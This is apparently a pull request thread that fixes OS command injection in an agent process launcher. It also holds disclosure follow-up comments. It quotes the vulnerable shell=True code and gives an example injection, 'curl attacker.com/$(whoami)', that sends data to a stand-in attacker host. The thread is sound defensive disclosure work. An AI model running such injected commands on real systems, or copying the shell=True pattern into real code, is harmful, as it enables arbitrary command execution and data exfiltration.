fix: Disable shell=True in agent process launcher to prevent command injection

[Joshua-Medvinsky]

Summary

agent_flow/utils/agent_manager.py launches agent server processes via subprocess.Popen(command, shell=True). If the command string contains shell metacharacters (semicolons, pipes, backticks), the shell will interpret them — enabling OS command injection.

Vulnerable code

# line 196-202
process = subprocess.Popen(
    command,
    shell=True,
    ...
)

An attacker who influences the command value (e.g. via a malicious agent name or config) can inject:

python server.py; curl attacker.com/$(whoami)

Fix

Use shlex.split() to tokenize the command string and pass shell=False, so the OS executes the binary directly without a shell interpreter:

import shlex
process = subprocess.Popen(
    shlex.split(command) if isinstance(command, str) else command,
    shell=False,
    ...
)

Impact

Critical — OS command injection enabling arbitrary command execution.

[failsafesecurity]

Hi maintainers — friendly follow-up on this security hardening PR. It has been open for a while with no reviewer feedback, so I wanted to resurface it.

Happy to rebase, adjust the approach, add tests, or split the change differently if that would make review easier. Thanks!

[failsafesecurity]

Hi — this security PR has been open for 40 days without maintainer response. Per our responsible disclosure policy, I'll be closing this PR shortly. I may resubmit via a bounty platform if appropriate. Thanks for your time.

[failsafesecurity]

Closing per responsible disclosure policy: 35+ days open with no maintainer response. May resubmit via bounty platform.

[failsafesecurity]

This security fix has been open for 30+ days. Per our responsible disclosure timeline, we'd like to move toward resolution. We can: (1) rebase and adjust the patch, (2) reach out via security@ email, or (3) resubmit via a bounty platform. Please let us know your preference.